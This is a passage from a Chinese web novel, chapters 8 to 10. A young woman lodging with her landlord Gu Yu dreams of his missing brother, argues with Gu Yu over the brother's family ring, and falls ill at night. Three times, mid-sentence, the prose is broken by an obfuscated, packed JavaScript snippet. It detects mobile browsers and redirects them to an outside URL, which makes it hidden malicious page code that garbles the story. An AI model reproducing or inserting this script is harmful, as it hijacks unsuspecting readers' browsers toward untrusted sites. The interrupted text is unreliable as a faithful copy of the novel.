“月牙,还没来得及向你介绍,这是。”雒知转瞬变得从容,自然地对池月牙解释她和顾驭的关系,“我的房东。” “这么巧!”池月牙放心了,既然是纪强的朋友,那应该是个可靠的人。 “凑巧,凑巧。” 雒知回头对他们两人再次说“再见”,然后拉着池月牙,头也不回地走了。 纪强一口就喝完了咖啡,摇摇头:“你确定,你能进入雒知的梦?” “当然。”穿过透明玻璃,顾驭看着雒知和池月牙过马路的身影,他十分笃定地开口,“她不信任我们,她也知道我们不完全信任她,所以她的筹码就是她的梦境。她不会如实告诉我们梦到了什么,但我也没告诉她,预知梦是可以进出的,想知道什么,我会自己看。” “所以?” “所以,各凭本事,各取所需。” “顾总。”纪强打趣地称呼他,又感叹起来,“我白担心了,以为你会被她牵着鼻子走,你果然还是你,心如坚石,诡计多端。” “骂我?” “赞美。” 纪强对顾驭的判断很精准,至少顾驭是这么认为的。 晚上,雒知回到顾驭家,很安静。客厅的灯光暖意融融,电视似乎从来没人打开过,仔细瞧去,屋内也没有一点绿意。她换上拖鞋,将在地铁口买的栀子花插进花瓶,随后回到房间。 浴室的水流声轻柔舒缓,洗去周身疲惫后,她用毛巾包裹头发,打开冰箱拿水喝。她走出厨房时,顾驭不知是刚回来,还是一直待在二楼,此时正坐在沙发上看报纸。 报纸,雒知数不清多少年没见过有人看报纸了,但这行为出现在顾驭身上,她不觉稀奇。 “晚上好。”雒知随口说道,“十点半了,你看的是今天的新闻吗?” “明天的。”顾驭冷冷回答,他的幽默并不好笑。 “哦。” “等等。”他起身去餐厅倒了一杯果汁给雒知,然后坐回沙发上,继续翻阅报纸,顿了顿补充道,“早点休息。” 雒知将杯子凑到唇边,闻起来是橙子味:“橙汁?” “混合果汁。” 雒知喝下一口,问:“没毒?” “有一点。”顾驭捞起搭在旁边的外套,从口袋里拿出一颗药,“解药。” “哦。”雒知未加怀疑,从他手中接过药就顺水服下。 “不怕是毒药?” 雒知没有搭话,回到房间后,她坐在床边,一口喝下剩余的半杯橙色果汁,即便橙汁的气味浓郁,她也能闻出那是加了少许杏汁的橙汁。 今天她带池月牙去山上看望雒烟,在墓碑前说了许多话,这会儿她躺在床上才后知后觉,这一天真累。很快,她窝进柔软的被子里,沉沉睡去。 半夜,她的呼吸变得急促,顾驭给她的过敏药有一定作用,但身上依然发了不少红疹,她手撑着床沿,坐起身来,灌下许多纯净水,出了浑身汗,总算好受一些。 她静静地躺下,眼睛缓缓合起。 天色越黑沉,星空越显得明亮,月光透过白色窗纱,洒在雒知身上,她的鼻尖开始冒出大颗汗珠,她发现身体正在被烈火灼烧,炽辣的痛感让她失控、失神。 她试图转动手腕,毫无力气。指甲深深地掐进肉里,她能闻到血腥味,能感受到一座火山压在她瘦弱的身上,岩浆翻涌,她的胸口起伏,喘不上气,又咽不下去,痛苦不堪的是仍然保有意识。 火烧尽,人成灰。雒知的生命力即将消磨殆尽,困在心底的猛兽开始疯狂咆哮,在一声声响彻天际的嘶吼中,雒知终于睁开眼睛。 她的躯体从火炉中抽离,她置身一处平原之上,寂寥广阔,一片死寂,干裂的地缝像排列整齐张开的嘴巴,嗷嗷待哺。 耳中涌进阵阵尖锐的鸟叫声,她集中注意力看去,是乌鸦。 雒知不知道自己为什么会认识乌鸦,记忆里,她见过的黑色禽类,只有乌骨鸡,或许这是一只会飞的乌骨鸡。 风凉粗旷,她开始觉得冷。放眼望去,远处的沟壑之中,有一破旧的木屋,木屋外立了一圈栅栏,内圈还扎了稻草人,这是有人打理的痕迹。乌鸦绕着她的头炫技,飞来飞去,最后落在栅栏上,她也跟随乌鸦的路线前往木屋,否则她无处可去。 木屋内亮起微弱的烛火,屋外笼罩着腐朽的气息,雒知站在门前,她不是乌鸦,她是人,她要敲门。 可刚抬起手,她又立刻放下,这木门上挂着一串风铃,被风吹得悠悠作响。 晃眼看风铃下连接着的是一颗颗发黄的镂空雕刻物件,每颗不过手指关节大小,可凑近了看,雒知不自觉地紧张,喉咙干得冒烟,她又瞧了眼旁边站着的乌鸦,心中有些悲伤。 怪不得只有它一只。 雒知目光避开这串骨风铃,敲了另半边的门。 “请问有人在家吗?”她小声地询问。 门“吱呀吱呀”地响起,这漏风的风没有上锁。 雒知轻轻推开布满灰尘的门,走进院子,地上堆满杂乱的稻草,很深,每踏出一步,就会没过脚脖子,再没过小腿肚,走到门前时,她已经半截身子埋进稻草里。 她侧脸扫过身旁高出她许多的稻草人,又迅速收回视线,她从小就怕这种东西。 “请问有人在家吗?”这次,她提高了声量问。 从外观看,这处屋子像有人住,可她进入后,想法动摇了,什么样的人会住在这种地方。 “请进。” 声音是从眼前发出的,雒知却觉得后脖颈冰凉,她拼命地吞咽口水,缓解内心的恐惧,那声音并未停下,又接着响起。 “请进,雒知。” 雒知屏住呼吸,不敢大声疾呼,她艰难地拔起脚,鼓足勇气推门入内。 “请坐。”门应声关闭。 雒知找不到地方坐,屋内空空如也,一盏蜡烛悬在空中,快要烧尽。她不可能坐在地上,想了想客气地说:“谢谢,我习惯站着。” 背对着她的人身形高瘦,西装革履,皮鞋透光,一点不似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776628|174758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的狼狈,相较之下,她更像这座木屋的主人。 “雒知,很高兴你来了,也很不幸,在这里见到你。”那人转过身来,注视雒知的眼睛,他脸上极力想表现出一种亲和力,但眼神空洞,嘴唇干裂起皮,眉头像打了个死结,舒展不开。 雒知不眨眼地看他,这人的模样越看越眼熟,她一定见过,但又说不出他的名字,雒知不再细想,思考起他说的话。 “你说的‘不幸’,是你的不幸,还是我的不幸呢?”雒知明知自己这样问很冒昧,可忍不住好奇,毕竟这问题十分关键。 那人笑了笑,他的笑看上去是拧巴的、痛苦的,但他说话很柔和,认真回答雒知的问题:“许多人的不幸。” 这话让雒知心如坠石,她又问:“那你是谁?我们现在在什么地方?我们应该处于不同的世界。” “雒知,我带你去一个地方,敢去吗?” “敢。” 雒知其实不敢,可在外面,总好过这密闭的室内,就算要跑,也有发挥空间。 那人长舒一口气:“谢谢你,让我能看到外面的世界。” “你没有出去过?”雒知惊诧。 “不好意思,没能为你开门,因为我无法离开这间屋子。”他的道歉在干瘪的脸上显得更加诚恳。 “那现在你可以出去了?是因为我来了吗?” 他抬起瘦骨嶙峋的手,摘下无名指上的戒圈,那是一枚稀有金属铱打造的戒指,这种金属的特点是熔点高,耐腐蚀,因此在高温环境也不易被烧毁。 “这个我不能收。”雒知紧握双手,不愿意收下。 “不是给你的,请你暂时保管。”他将戒指抛给雒知,坠落的一瞬,雒知本能地接住了。 “什么时候还给你?” “我们先去山顶。”他推开门,乌鸦飞到门框上,发出“呀……呀……”的怪叫,想惹人注目。他被这声音吵得头痛,回过头对雒知说,“这儿竟然还有乌骨鸡。” “不是你养的?这是乌骨鸡?”雒知跟着他出门,恍然发现这屋子的主人不是他,那是谁? “如果是我养的,我会毒哑它。” “……” 乌鸦的啼叫雒知已经听习惯了,反而是身前这人的话语让人心惊肉跳,不仅如此,她还察觉到周围有一双无形的眼睛在黑暗中窥探,离她很近。 “怎么不走?”他已经到门外,雒知还在院子里。 “你先走,我马上就来。” 那人很急,他比雒知更想远离这间屋子。 眼看他已经走向远处,渐渐从视线范围内消失,雒知忧疑了,她改变主意了,不想跟他去山顶。 乌鸦守着这一圈栅栏,依然在耳边叫,一只鸟叫出了一群鸟的架势。 雒知略微侧过身,仰起头对着上方说:“你看够了吗?” 稻草人的帽子被风吹落。 久久无声,雒知捂住稻草人圆瞪瞪的眼睛,不再忍耐。 “顾驭,从我的梦里滚出去。” 9. 第9章 “咣当”一声,雒知掉下床。 她能感觉到身体在腾空,手在试图抓住点什么,也能听见触地的声响,却没有疼痛感。 挣扎中,她艰难地睁开眼,看到守在一旁的顾驭双手接住了她,顾驭的手臂压在木地板上,她整个人压在顾驭的手臂上,两人的身体像被击中的保龄球瓶,双双随之倾倒,发出“砰”地沉闷声响。 “你一直在这里?你怎么能不经过我的允许就进我的房间。” 雒知推开他,站了起来,套上拖鞋。 “顾驭,我们需要补签租赁合同,我付了租金租下这间房,那么按照法律规定,只有我才拥有这间房的使用权。你是房东,你不仅负有维护我作为租客的权益的义务,同时,你和其他任何人,都不能进入我的房间。” 雒知说话时,顾驭也站了起来,他沉默不语听她把话讲完,点点头,垂眸回了个:“好。” 他高出雒知许多,实际上雒知在女生里已经算身条高挑的了,雒知仰着头不悦地撇了他一眼,然后伸手去拿放在床头的杯子,她想去厨房倒水喝,手探了又探,捞了个空,手指拘束地悬滞着、弯曲着,揪着空气不撒手。 雒知这才转头看向床头柜,嗯?杯子呢? 她心里纳闷,昨晚睡前明明放在这里的,她不会记错,她的记忆力很好,连家里阳台上妈妈种的一排花,从左到右是什么颜色,她都能在不经意间记下,哪怕她并没有花心思去记,可那些生活过的痕迹会无孔不入地爬进你的潜意识,在你掉以轻心时,恰如其分地涌现,提醒你不能忘掉。 “天亮了。”顾驭出声打断她的思绪,俯身拾起顺着她滚落在地的被子,放回床上,淡淡地说,“我在客厅等你。” 顾驭说完就出去了,顺手带上门时,又补充了一句:“记得锁门。” 他这话说的,难道没有锁门就可以随意进出吗?这是在推卸责任。雒知心中怨气难平,不过,她的确忘了锁门,这一年来,她独住惯了,她沉迷自在,这习惯不好,要改,立刻就改。 雒知锁上门后走进卫生间,她的房间是套房布局,有独立卫生间和浴室,她在洗漱台上垫了一张纸,将紧紧攥在手心硌得慌的硬物放在纸上,又扯了张纸巾盖住它,避免被水溅到,然后洗了把脸。 她与镜中白净寡淡的面容对视,她偏头,她也偏头;她皱眉,她也皱眉,直到她看她觉得陌生。 又过了会儿,雒知觉得这张脸实在是没什么血色,她又褪去全身衣裳,冲了个热水澡,水温让肤色变得透亮,泛起淡淡红晕。 浴室里,乌木混合话梅的味道弥漫开来,沐浴露、洗发水、护发素……都是雒知新买的,她没有用顾驭准备的,虽然那些品牌很贵,可她总觉得不该用。 雒知换上一条苎麻裙,又慢慢将头发彻底吹干,发梢还残留着丝丝暖意,她对着镜子整理着装,然后从房间出来。 顾驭身姿端正地坐在沙发上,脊背笔直如松,没有倚靠着柔软的后垫,此时的他比以往任何时候见到的他,都要坐得端正。 雒知没说话,转身去了厨房,顾驭的视线扫过她的背影,没有开口催促,就只是冷漠地坐着。 厨房里无论是餐具还是厨具,都一应俱全,可顾驭看上去着实不像是会开火的人。或许是他曾经的工作让他无暇兼顾生活,所以这套房子里也找不出半点有人住过的痕迹,一饰一物都太新了,新到她都担心会不会甲醛超标。 雒知拉开冰箱门,拿了一瓶无糖气泡苏打水,这是她昨天出门前叫的外卖,顾驭的冰箱空空如也,如今一半空间都冻着她买的各种水,她最近总觉得口渴,以前也没这么爱喝水。 她拧开喝了两口便放到一边,然后煮了一壶山楂茶,又从成套的咖啡杯、茶杯、高脚杯、红酒杯、马克杯……中,拿起角落里自己最格格不入的奶油色保温杯,将山楂茶灌进杯中,没盖盖子,等着滚烫的热气散去。 她把滤出的茶渣用滤网包好,脚踩在厨房垃圾桶的踏板上,桶盖缓缓打开,她往里面瞟了眼,看到桶内装着的碎玻璃定了定神,一眼认出这是她的杯子的尸/体。 怎么碎了?她试图拼接事件经过。她沉思了片刻,大约猜到了昨晚又或是今早发生了什么。 但她没太在意,继续将茶渣扔进垃圾桶,然后洗干净手,一手拿着保温杯,一手拿着苏打水,慢悠悠地去客厅,在顾驭左侧的单人沙发上坐下。 “顾驭,我认为我们……”她想和顾驭好好谈谈,她想告诉顾驭,他们的合作应该建立在平等信任的基础上。 可顾驭没有想和她讨论这一点的意思,他没来由地对她伸出右手,掌心朝上。 “雒知,给我。” “?”雒知表情疑惑,但眼神中没有迷茫,她知道顾驭在说什么,嘴上还是问,“给你什么?” 顾驭目光坚定且带着少见的坦诚,他的手腕转了一面,手指微曲,对着她,让她能看清自己的尾戒。 他很少戴这枚戒指,在雒知面前是第一次,他也没有太多场合需要戴,过去当督察官时,更不可能戴。 雒知惊愕了刹那,脸上浮现出复杂的神情,随后迈步去浴室,拿起洗漱台上同样的那枚戒指。 她这次很快就回到了客厅,抓着顾驭的手,举到眼前,对比两枚戒指,一模一样。 那这就是家族戒指。 戒面是方圆形的,边缘凹刻着一圈文殊兰,文殊兰包围着中心的鹿角图样。曾经和雒知一起下棋的人里,有一位研究佛学的大家,她从中有一搭没一搭地学到不少东西。 雒知又想到了什么,她抬头看去,墙上温馨的全家福再次进入她的视野,也确定了她的猜想。 木屋里的人是顾驭的哥哥,瘦骨嶙峋的他和照片里意气风发的那个男人是那么的不像,除了那件西服。照片里他穿着西服很合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776629|174758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,手搭在顾驭的肩膀上,笑容灿烂,俨然有着一位兄长的风范。 可顾驭的哥哥为什么也卷入了这些事?他也是督察官吗?为什么出现在她的梦里?种种疑虑在脑中渐生,雒知无暇分心,她要焦虑的事太多了,她顾不上思考顾驭的家人在经历什么。 “雒知,请你给我,你不能留着这枚戒指。”顾驭又再次说道,音色严厉而又平缓。 “他交给我保管,我答应了他,所以不能给你。”雒知的手收成拳头,将戒指握在掌心,她的举动像是在防御,防止被顾驭抢去,可她又觉得自己的行为是多余的,这枚戒指对她毫无意义,她也知道顾驭不是会硬抢的人,他保有曾作为一名督察官的职业道德。 “他说的是暂时保管,我不想玩文字游戏,我们都坦诚一点,你不用装,你知道这是我哥的戒指。” “你哥叫什么?”雒知对顾驭的家人一无所知。 “顾历。” “嗯,我记住了。” “雒知,你心里很清楚,这戒指应该给我,它对你没有任何用处。” 不知道为什么,雒知觉得顾驭今天有些不同,他言辞锋利,但看上去很疲惫,他的身体越是挺直,就越是僵硬,而雒知吃软不吃硬,她从不接受的两个字就是“应该”。 什么是应该,她认为应该得到,不应该给予,这才叫应该。 “戒指在我手上,给不给你我说了算。顾驭,你不用道德绑架我。”雒知按着戒指,在手心转了一圈,“你知道的,我没有道德。” “雒知,你想得到什么。” 顾驭的眼底有些泛红,雒知看见了,那是血气,他在抑制怒意。 “回答我三个问题,我就给你,说话算话。”雒知看着他,眼神清澈。 “回答真话还是假话。”顾驭也看着她,带着审视的目光,这是他那改不掉的职业病。 回想最初见到顾驭时,雒知很抗拒他这种眼神,后来她看惯了,反而觉得这是一种真实的眼神,这种心态上的变化很奇怪。 “随便。”雒知回答的随意,真话也好,假话也罢,说话的人说是真话就一定是真的吗?如果真是这样,世界上就不会有骗子,也不会有人被骗。所以,她觉得这问题很没意思,而她也觉得顾驭有时真的很死板。 “你问。” “第一个问题,你说我的梦是预知梦,可那个木屋不在这个世界,所以你哥现在在哪里?” “我不知道。” 雒知没有精力也并不打算深究这个问题,就当他回答了,她选择相信他是真的不知道。 “第二个问题,你能进出我的梦,那你能不能在我的梦里杀/死我?” “什么?” 在这场谈话中,顾驭的脸上开始有了明显的神态变化,他身体放松了一些,往后仰,背靠在沙发上,似笑非笑地问她。 “你要试试吗?” 10. 第10章 “你要试试吗?” 雒知竟真的认真思考了他的话,根据语气判断他说的是真话还是假话。随后,拿起身前的保温杯,凑到唇边试温度,热气浮到脸上,水温有些烫,勉强能够喝,她又吹了吹,润了润喉才开口。 “顾驭,我在问你,你反问我做什么,不要违反游戏规则。” “没有试过怎么知道,我不能胡说八道,我现在的答案是,我不知道。” “好。”雒知依然选择相信他是真的不知道,同时希望他能永远不知道。 “第三个问题……” “等等。”顾驭毫无预兆地叫停她的游戏。 雒知撑大眼睛,不明所以,自己还没对他的回答表示不满,他竟然先停止了。 “你在喝什么?”顾驭突然问起,视线落在她冒烟的保温杯上,空气中飘散着若有若无的果酸味。 “山楂茶。”雒知眼皮一抬,狐疑地问他,“你也要喝吗?壶里还有。” “你喝这个做什么?” “好喝。” “……” “你关心这个干什么?” 顾驭过了会儿才说:“没什么,你继续说,第三个问题。”随着话音落下,他蹙起眉头,侧过面低头叹了口气,动作很轻,不易被察觉,但还是被雒知捕捉到了。 雒知觉得他今天实在是很怪。 “第三个问题,你的戒指铭文是什么?” 顾驭顿了顿,心里却颤了颤,他没说话。 雒知用拇指和食指捏住顾历的戒指,微眯着一只眼,又看了一遍那戒指内圈镌刻着的五个字。 宁做我自己。 这几个字对应到顾驭的哥哥身上,雒知不免感到凄凉,这种凄凉不同于其他,不是对于他哥哥未来处境的感慨,是对照片里的他生出莫名伤感,那轩昂自信的他都不是在做自己,那么什么样的他才是他。是站在他身旁,模样稚嫩,眼睛明亮,沉稳内敛,还没长出刺的顾驭吗? “顾驭。”雒知轻声叫他的名字。 从他们认识至今,顾驭很少失神,今天是第一次。 顾驭始终没开口,雒知能看出他不想说,或是有难言之隐。也不对,其实雒知清楚,他就是不愿意告诉她。 “你哥哥的戒指,就由我来保管了。”雒知也不愿意去撬开他的嘴,自讨没趣,不如给这场游戏宣判。 “雒知。”顾驭沉默了几分钟,终于开口了,可没有继续说下去。 “没办法,你要遵守游戏规则,你没有回答完我的问题,我不能给你戒指。顾驭,你不会耍赖吧?”雒知给他递了台阶,他不踩,即使他继续回答“我不知道”,雒知也能把戒指还他,可他就这么僵着,那她何必上赶着。 不过,要保管这戒指并不是一件轻松的事,雒知知道它对于顾驭和他家人的重要性,如果损坏或是弄丢了,她该怎么办。 雒知顿时觉得心烦,她拿着别人家的贵重物品,甚至可能是关乎家族传承的重要信物,她一个外人却无端端要守好它,她被架在中间,这简直莫名奇妙。 谈话结束,游戏结束。 双方都没得到自己想要的结果,怎么会这样,雒知没想明白,她准备回房间,回到自己可以独处的空间。 她拍了拍裙子的褶皱,“噌”地一下站起身。 弯腰时,顾驭猛地伸出手,不偏不倚地抓住了她拿杯子时不停晃动的手腕。 这突如其来的触碰,让雒知整个人微微一怔,时间没有静止,可两人都静止了,谁也没出声。 苏打水瓶子没拿稳,掉在了地板上,弹起又滚开,发出连贯的脆生生的声音,雒知回过头警惕地看着顾驭,问他:“你干嘛?” 顾驭神色平静地长舒一口气,脸上透露着无奈,他像是思索了许久,他的姿态逐渐变得从容,又恢复了那副仿佛一切都在他的掌控之中的做派。 接着,他沉声说:“我已经回答过了。” “你什么时候回答了,你回答什么了?”雒知头脑清醒,她对顾驭耍赖的方式感到鄙夷,太低级了。 “雒知。” 顾驭和她相对而立,垂眸看着她。 “顾驭,你到底要干什么?松手。”雒知已然失去了耐心。 “我回答了。” 顾驭松开她的手腕,语气很淡,淡到雒知又愣住了,淡到像被一张无暇的A4纸快速划破手指,当下没有知觉,直到鲜血从皮肉里,似喷泉般激烈冒出时才脊背发凉。 “?”雒知回过神看着他,眼神中是审视,如同他往常看她的眼神一般。 顾驭伸出手,再次摊开手心:“雒知,给我吧。” “你说的是真话还是假话?”雒知的身体像是突然被按下了暂停键,她杵在那里,眼中看到了极不可思议的事情。 顾驭正要回答她,感觉手心一热,雒知将戒指放在他手里,又说:“你不用回答了。” “好。”顾驭握着戒指上了二楼,雒知从来不是胆怯的人,但她突然不想听了,就和在果园那次一样,突然不想知道了,更不希望产生复杂的交集。 雒知一直待在自己的房间里,中午吃了点饼干,然后收拾了行李,一个箱子装满后,除了衣柜里的衣服和生活用品,这屋子里没太多她的痕迹。 她躺在床上休息,拿过枕头下压着的书——《绿色能源发展》,她翻开折过的一页,边看边勾勒重点,直到天色暗下来,终于看完了。她又打开电脑重温了一遍苏薛月发给她的资料,另外新建了一个文档,写下她不明白的地方,准备周一向苏薛月请教。 低缓的几下敲门声打破了屋内的宁静,雒知本能地问:“谁?” 她刚问出口,就发现自己的问题很多余,还能是谁。而顾驭也没回答她,她这时才意识到,顾驭一天都没有出门。 她合上电脑,下床去开门。 “有事吗?”她扶着门框,只探出半边脸,鼻子里闻到了什么味道。 顾驭下午换上了藏青色的衬衫,看起来是出过门,或者是准备出门。他退后了半步,很自然地说:“出来吃饭。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776630|174758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你做了饭?” “嗯。” “你竟然会做饭吗?”雒知感到意外。 顾驭脸色无奈:“你看我像衣来伸手,饭来张口的富二代吗?” “我不吃了。” “你怕我做饭难吃?” “不是。”雒知没再挡着门,她身体靠着门框边,“做饭是很累的事,我不能白吃你的,我不占人便宜。” “做了没人吃会更累,我在餐厅等你。”顾驭很坚持,说完就转身去了餐厅。 雒知很少吃家里的饭,因为她不会做饭,也不爱回家。她尤其抵触切肉丝,一旦是她碰过的肉,炒出来她就吃不下,这毛病很矫情。 餐桌是长条形的,顾驭坐在一边,雒知坐在对面。家里很安静,没有电视的声音,也没有人说话。 顾驭已经摆好了碗筷,他做的菜看上去很清淡,虾仁蒸蛋、栗子烤鸡、白灼芥兰…… “谢谢。”雒知不知道说什么,只能谢谢他,还有这手艺。 顾驭看出她的神色变化:“不合你口味吧。” “合。”雒知领情,她每样菜都尝了,夹菜的顺序像流水线。 顾驭低着头吃饭,笑了笑。 “你笑什么?” 顾驭放下筷子,他吃得不多,他要随时保持头脑清醒,他很认真地说:“今晚。” “什么?” “今晚,你不要锁门。” “?”雒知也放下筷子,抬眸睥睨他,“你说什么疯话。” “我……”一个电话进来,打断了他。 顾驭起身走到阳台接电话,他拉上了玻璃门,雒知坐着能看见他的身影,他单手撑在护栏上,即使隔着衣服,也能明显看出他手臂线条紧绷着。 如果用一个词形容顾驭这个人,雒知心里突然浮现出一个不合时宜的比喻,结实耐用。 顾驭听完电话,转身推开门,他目光顿了顿,餐桌上空无一物,雒知已经回房间了。她留了一张纸条“你做的饭很好吃,所以餐具我来洗。” 顾驭没有坐下,他拾起纸条上了二楼,进房间后,他拉开书桌抽屉,将纸条放了进去,这是第二张,还有一张是雒知上次写的“秋风有信,来日方长。” 雒知仍然躺在床上看资料,半夜,她突然感到胃里翻涌,起初还能忍过去,接着一阵一阵地绞痛袭来,疼得她如坠冰窖,双手紧紧捂住胃部,蜷缩着身体,脚趾越抓越紧,她试图让这痛感迟缓一点,可毫无作用。 她还没缓过劲,又一股热气涌上鼻尖,如鲠在喉。她几乎无法站立,死咬着牙。 顾驭在房间里接到一个电话,他问:“你怎么了?” 雒知还没发出声音,已经听到顾驭下楼的脚步声,不是拖鞋声,就是脚步声,很急很快。 顾驭手上挂着外套,他打开她的房间门,两步就迈到床边,正想抱起她:“我们现在去医院。” “我……” 雒知脸色惨白,刚开口,下一秒就吐了顾驭一身,她把上午喝的山楂茶吐了个精光。